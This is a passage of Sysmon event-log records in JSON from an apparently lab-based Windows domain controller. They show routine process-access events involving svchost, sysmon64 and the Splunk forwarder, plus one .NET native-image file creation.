+{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6851,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6852,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6853,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6854,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:36.572\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A0-5F2D-0000-00105B210B00}\r\nTargetProcessId: 4576\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:36.572","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A0-5F2D-0000-00105B210B00}","TargetProcessId":"4576","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:37.135\r\nProcessGuid: {90617006-429C-5F2D-0000-0010641C0B00}\r\nProcessId: 1164\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\48c-0\\Microsoft.Build.dll\r\nCreationUtcTime: 2020-08-07 12:01:37.135","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:37.135","ProcessGuid":"{90617006-429C-5F2D-0000-0010641C0B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\48c-0\\Microsoft.Build.dll","CreationUtcTime":"2020-08-07 12:01:37.135","EventReceivedTime":"2020-08-07 12:01:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 